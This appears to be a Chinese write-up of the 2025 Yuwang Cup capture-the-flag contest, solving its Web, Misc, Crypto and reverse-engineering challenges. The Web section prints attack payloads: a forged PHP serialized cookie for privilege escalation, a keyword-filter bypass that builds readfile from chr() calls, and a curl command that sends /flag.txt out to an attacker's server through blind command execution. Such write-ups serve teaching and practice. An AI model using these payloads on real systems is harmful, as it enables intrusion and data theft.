【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3

admin 2025年5月15日09:41:11评论3 views字数 13244阅读44分8秒阅读模式

Web

YWB_Web_xff

先看源码,需要修改ip进行登录

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511101023024

使用插件修改ip随意输入登录即可

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511091729316

YWB_Web_未授权访问

先抓包,发现cookie存在问题,url解码看看,是序列化数据,最后一位是0,可以修改为1越权登录

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511094243788

格式如下

O:5:"Admin":2:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:0;}
#修改后
O:5:"Admin":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:1;}

成功拿到flag

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511094426824

easyweb

首先代码审计,需要post传参cmd,并且回显被注释了,无回显的RCE

<?php

if(isset($_POST['cmd'])){
    @exec($_POST['cmd'],$res,$rc);  #$res存储结果,$rc存储状态码
//echo $rc;
}else{
echo"It works!";
}

show_source(__FILE__);
?>
#提示:flag在/flag.txt

使用curl进行数据外带,--data指定命令,需要使用公网服务器接收

cmd= ip 端口 --data "$(id)"
cmd=curl ip 端口 --data "$(cat /flag.txt)"

YWB_Web_命令执行过滤绕过

先看源码,存在很多过滤,并且传入的参数需要存在flag

<?php
# flag in flag.php
include("flag.php");
if(isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];   #preg_match函数匹配字符串
if(!preg_match("/system|exec|highlight|show_source|include|passthru|echo|print_r|cat|head|tail|more|less/i",$cmd)){
if(preg_match("/flag/i",$cmd)){
eval($cmd);
        } else {
die("HACK!!");
        }
    } else {
die("HACK!!!");
    }
else {
    highlight_file(__FILE__);
}
?>

在网页源码处发现注释

#源码的注释
$filename = "/tmp/flag.nisp";
$content = trim(file_get_contents($filename));

使用readfile函数进行读取,为什么读取flag.nisp,其实是试出来的,读flag.php没有结果

http://47.105.113.86:40002/?cmd=$_=chr(114).chr(101).chr(97).chr(100).chr(102).chr(105).chr(108).chr(101);$_(%27/tmp/flag.nisp%27);

payload进行解释

  • chr():将ASCII码转换为字符串,使用点进行拼接,最终得到readfile
  • $_:将readfile字符串赋值给这个变量
  • $_(%27/tmp/flag.nisp%27):实际上就是readfile('/tmp/flag.nisp')

YWB_Web_反序列化

先看源码

<?php
functionfilter($name){
    $safe = array("flag""php");
return str_replace($safe, "hack", $name);
}

classmylogin{
var $user;
var $pass;

function__construct($user, $pass){
$this->user = $user;
$this->pass = $pass;
    }
}

if ($_POST['msg']) {
    $filtered_input = filter($_POST['msg']);    #post接收msg数据

    $a = unserialize($filtered_input);

if ($a instanceof mylogin) {
if ($a->pass === "myzS@11wawq") {  #pass需要覆盖
exit();
        } else {
            $tis = "您是小自吧,差一点就成功了!";
        }
    } else {
        $tis = "您输入的信息可能去非洲才能找到哦!";
    }
}
?>

抓包发现存在参数点

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250512102254208

构造出序列化数据绕过

O:7:"mylogin":2:{s:4:"user";s:5:"admin";s:4:"pass";s:11:"myzS@11wawq";}
#           变量数量          user=admin    pass=myzS@11wawq

Misc

ez_xor

附件内容

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173046109

给ai分析一下发现是xor

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511093734837

直接就拿到了flag,使用0x39异或

光隙中的寄生密钥

附件是一个图片

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173157018

binwalk分离一下

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173221765

一个加密文档

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173246723

ARCHPR爆破一下

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173303681

得到密文

5a6d78685a337368633073346145597a586e5a484e3231594d6e464566513d3d

先hex再base64

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173355504

被折叠的显影图纸

一把梭哈

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511104110695

ez_picture

随波逐流图片,RGB存在问题

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173459565

因为还有一个加密压缩包,尝试解密,得到一个图片,随波逐流看看,有一段base64加密

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173548006

解密一下

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173603798

套娃

是PK头,直接修改zip

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173637805

还是一个txt文件,继续修改为zip文件

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173712728

打开这个文件

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173748914

得到flag

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173802120

easy_misc

文件内容

7749667783107104687870815090501048798877476826990539988100508687116818470867886122867098488561

写了个脚本跑一下,将ascii吗转换为字符

import re
import base64
import string
from itertools import product

defdecode_number_sequence(sequence, method):
"""根据指定方法解码数字序列"""
try:
if method == "ascii":
# 直接转换为ASCII字符
return''.join(chr(int(num)) for num in sequence)
elif method == "base64":
# 先转换为ASCII,再尝试Base64解码
            ascii_str = ''.join(chr(int(num)) for num in sequence)
# 确保Base64字符串长度是4的倍数
            padded_str = ascii_str + '=' * ((4 - len(ascii_str) % 4) % 4)
return base64.b64decode(padded_str).decode('utf-8', errors='ignore')
elif method.startswith("shift_"):
# 凯撒移位密码
            shift = int(method.split('_')[1])
            ascii_str = ''.join(chr(int(num) + shift) for num in sequence)
return ascii_str
elif method.startswith("xor_"):
# XOR加密,尝试不同密钥
            key = int(method.split('_')[1])
            xor_result = ''.join(chr(int(num) ^ key) for num in sequence)
return xor_result
else:
returnf"不支持的方法: {method}"
except Exception as e:
returnf"解码失败 ({method}): {str(e)}"

defdetect_encoding(text):
"""检测文本的可能编码"""
    results = {}

# 检查是否是Base64
    base64_pattern = r'^[A-Za-z0-9+/]+={0,2}$'
if re.match(base64_pattern, text.replace(' ''')):
try:
            decoded = base64.b64decode(text).decode('utf-8', errors='ignore')
            results['base64'] = decoded
except:
pass

# 检查是否是十六进制
    hex_pattern = r'^[0-9A-Fa-f]+$'
if re.match(hex_pattern, text.replace(' ''')):
try:
            decoded = bytes.fromhex(text).decode('utf-8', errors='ignore')
            results['hex'] = decoded
except:
pass

return results

defis_meaningful(text):
"""判断文本是否包含有意义的内容"""
# 计算可打印字符比例
    printable_ratio = sum(1for c in text if c in string.printable) / len(text) if text else0

# 检查常见英文单词模式
    common_words = ['the''and''to''of''a''in''that''it']
    word_count = sum(1for word in common_words if word.lower() in text.lower())

return printable_ratio > 0.8and word_count > 1

defmain():
# 输入数字序列
    sequence = "77 49 66 77 83 107 104 68 78 70 81 50 90 50 104 87 98 87 74 76 82 69 90 53 99 88 100 50 86 87 116 81 84 70 86 78 86 122 86 70 98 48 85 61"
    numbers = sequence.split()

    print("原始数字序列:", sequence)
    print("-" * 50)

# 尝试直接转换为ASCII
    ascii_text = ''.join(chr(int(num)) for num in numbers)
    print(f"ASCII转换: {ascii_text}")

# 检测可能的编码
    detected_encodings = detect_encoding(ascii_text)
for encoding, result in detected_encodings.items():
        print(f"{encoding.upper()}解码: {result}")

    print("-" * 50)
    print("暴力破解可能的方法:")

# 尝试常见的移位值
for shift in range(-56):
if shift == 0:
continue
        shifted_text = ''.join(chr(int(num) + shift) for num in numbers)
        print(f"移位 {shift:+}{shifted_text[:50]}{'...'if len(shifted_text) > 50else''}")

# 对移位结果再次检测编码
        shifted_encodings = detect_encoding(shifted_text)
for encoding, result in shifted_encodings.items():
if is_meaningful(result):
                print(f"  -> {encoding.upper()}解码: {result}")

# 尝试常见的XOR密钥
for key in range(1256):
        xor_text = ''.join(chr(int(num) ^ key) for num in numbers)
if is_meaningful(xor_text):
            print(f"XOR密钥 {key}{xor_text[:50]}{'...'if len(xor_text) > 50else''}")

# 尝试组合方法(如先移位再Base64)
    print("-" * 50)
    print("尝试组合方法:")

for shift in [-112]:  # 尝试几个常见的移位值
        shifted_text = ''.join(chr(int(num) + shift) for num in numbers)
# 尝试将移位结果作为Base64解码
try:
            padded = shifted_text + '=' * ((4 - len(shifted_text) % 4) % 4)
            decoded = base64.b64decode(padded).decode('utf-8', errors='ignore')
if is_meaningful(decoded):
                print(f"移位{shift} + Base64: {decoded}")
except:
pass

if __name__ == "__main__":
    main()

得到一个base64解码的结果

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511173931100

先base58

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511174012072

然后凯撒

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511174037945

Crypto

easy-签到题

一个exe文件,读取hex

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511175613468

密码学工具箱梭哈

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511091315801

cry_rsa

一个rsa题目,先看看附件

在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=19
求解出d,然后把d的值加6为flag值。flag格式为flag{********}

ai写一个脚本,直接得到flag

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511092200114

gift

附件内容

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511101546987

给ai分析一下

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511174827534

这里说的是披萨,根据题目描述,可能与饼有关,pie是饼,最终对这些食物尝试,成功的就是饼pie,结果是flag{zso}

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511102053535

草甸方阵的密语

根据题目提示,应该是栅栏+凯撒

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511174859046

随波逐流读取exe文件

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511174935253

如下

nb1t5Gic6oDH{79Zei3F}

栅栏解密7栏

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511175021380

然后凯撒解密

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511175036868

ez_base

翻译看一下,是垃圾邮件

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511175327241

在该网站:https://www.spammimic.com/decode.cgi  ,处理一下

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511175428478

会得到一个字符串

ZmxhZ3tITkNURmxTV21NOVlSS3o0VEZ9

base64解密

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511175458245

baby_rsa

附件txt内容

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511175150762

exe的hex,是python的

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511175129972

修改后缀

from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, bytes_to_long, long_to_bytes
from gmpy2 import powmod,invert,gcd
from flag import flag
import sympy

q = getPrime(1024)
p = sympy.nextprime(q)
N = p * q 
e = 0x10001
flag = flag.ljust(80)
m = bytes_to_long(flag)
c = pow(m,e,N)

print('N = ',N)
print('e = ',e)
print('c = ',c)

'''
N =  12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569
e =  65537
c =  4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063
'''

写个解密脚本

from Crypto.Util.number import long_to_bytes
from gmpy2 import powmod, invert, is_prime
import sympy

# 从题目中获取的公钥和密文
N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569
e = 65537
c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063

# 尝试分解N
deffactor_N(N):
# 由于题目提示p是q的下一个素数,我们可以尝试找到q
# 首先计算sqrt(N)附近的值
import math
    sqrt_n = int(math.isqrt(N))

# 检查sqrt_n附近的数是否能分解N
for i in range(1000):
# 尝试向下搜索
        q_candidate = sqrt_n - i
if q_candidate <= 0:
continue
if N % q_candidate == 0and is_prime(q_candidate):
return q_candidate, N // q_candidate

# 尝试向上搜索
        q_candidate = sqrt_n + i
if N % q_candidate == 0and is_prime(q_candidate):
return q_candidate, N // q_candidate

returnNoneNone

# 分解N
q, p = factor_N(N)
if q isNoneor p isNone:
    print("无法分解N")
else:
    print(f"已找到p和q: p={p}, q={q}")

# 计算私钥
    phi_N = (p - 1) * (q - 1)
    d = int(invert(e, phi_N))

# 解密
    m = powmod(c, d, N)

# 转换为字节
    flag_bytes = long_to_bytes(m)
    print(f"解密后的flag: {flag_bytes.decode('utf-8').strip()}")    

得到flag

flag{5c9c885c361541e0b261f58b61db8cec}

然后把4换成5交

Re

sign in

strings查看存在upx壳

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250512102712719

先upx脱壳

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250511105230291

ida打开脱壳后的文件,然后f5看源码

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250512102804634

注意这个地方

【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3
image-20250512102840054

存在rc4加密方法,rc4_crypt是一个加密函数部分

unsigned __int64 __fastcall rc4_crypt(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 result; // rax
char v4; // [rsp+23h] [rbp-15h]
int v5; // [rsp+24h] [rbp-14h]
int v6; // [rsp+28h] [rbp-10h]
unsigned __int64 i; // [rsp+30h] [rbp-8h]

  v5 = 0;
  v6 = 0;
for ( i = 0LL; ; ++i )
  {
    result = i;
if ( i >= a3 )
break;
    v5 = (v5 + 1) % 256;
    v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
    v4 = *(_BYTE *)(v5 + a1);
    *(_BYTE *)(v5 + a1) = *(_BYTE *)(v6 + a1);
    *(_BYTE *)(a1 + v6) = v4;
    *(_BYTE *)(a2 + i) ^= *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v5 + a1) + *(_BYTE *)(v6 + a1)) + a1);
  }
return result;
}

callme,这里有加密逻辑密钥和字符串

unsigned __int64 callme()
{
  __int64 v1[4]; // [rsp+0h] [rbp-170h] BYREF
int v2; // [rsp+20h] [rbp-150h]
  __int64 v3[3]; // [rsp+30h] [rbp-140h] BYREF
  _QWORD v4[3]; // [rsp+48h] [rbp-128h]
  __int64 v5[33]; // [rsp+60h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+168h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v1[0] = 0xB8C6B89FC8B99FC8LL;
  v1[1] = 0xCFB7B0C51443528FLL;
  v1[2] = 0xB1A8C6B99BC7AC9CLL;
  v1[3] = 0xBDC68AB3C59299C5LL;
  v2 = -1499806587;
  v3[0] = 0xC61340F289B15A46LL;
  v3[1] = 0xB5DBE61F3084030DLL;
  v3[2] = 0xE62AD239D2D3845ALL;
  v4[0] = 0xA2312F9B2BC84A2DLL;
  *(_QWORD *)((char *)v4 + 7) = 0x2A91CA52A7A4A2LL;
memset(v5, 0256);
  rc4_init(v5, v1, 36LL);
  rc4_crypt((__int64)v5, (__int64)v3, 0x27uLL);
return v6 - __readfsqword(0x28u);
}

写个解密脚本

# 构造密钥
v1 = [
0xB8C6B89FC8B99FC8,
0xCFB7B0C51443528F,
0xB1A8C6B99BC7AC9C,
0xBDC68AB3C59299C5
]
v2 = -1499806587

key = b''
for num in v1:
    key += num.to_bytes(8'little')  # 小端转换
key += (v2 & 0xFFFFFFFF).to_bytes(4'little')  # 小端,4字节

# 构造密文
v3 = [
0xC61340F289B15A46,
0xB5DBE61F3084030D,
0xE62AD239D2D3845A
]

cipher = b''
for num in v3:
    cipher += num.to_bytes(8'little')  # 小端转换

# 处理v4部分
v4_initial = 0xA2312F9B2BC84A2D
v4_bytes_initial = v4_initial.to_bytes(8'little')  # 前8字节
overwrite_value = 0x002A91CA52A7A4A2# 高位补零到64位
overwrite_bytes = overwrite_value.to_bytes(8'little')

v4_bytearray = bytearray(v4_bytes_initial)
# 覆盖从索引7开始的8字节
for i in range(8):
    pos = 7 + i
if pos < len(v4_bytearray):
        v4_bytearray[pos] = overwrite_bytes[i]
else:
        v4_bytearray.append(overwrite_bytes[i])
v4_cipher = bytes(v4_bytearray[:15])  # 取前15字节

cipher += v4_cipher

# RC4解密
defrc4_init(key):
    S = list(range(256))
    j = 0
for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
return S

defrc4_crypt(S, data):
    i = 0
    j = 0
    out = []
for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        out.append(byte ^ k)
return bytes(out)

S = rc4_init(key)
plain = rc4_crypt(S, cipher)
print(plain.decode('latin-1'))
#flag{4c37ccb1539a946a21793f67962c6eeb}

原文始发于微信公众号(泷羽Sec-track):【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日09:41:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CTF】2025御网杯wp Misc全解+Web全解+Crypto全解+Re3https://cn-sec.com/archives/4064547.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息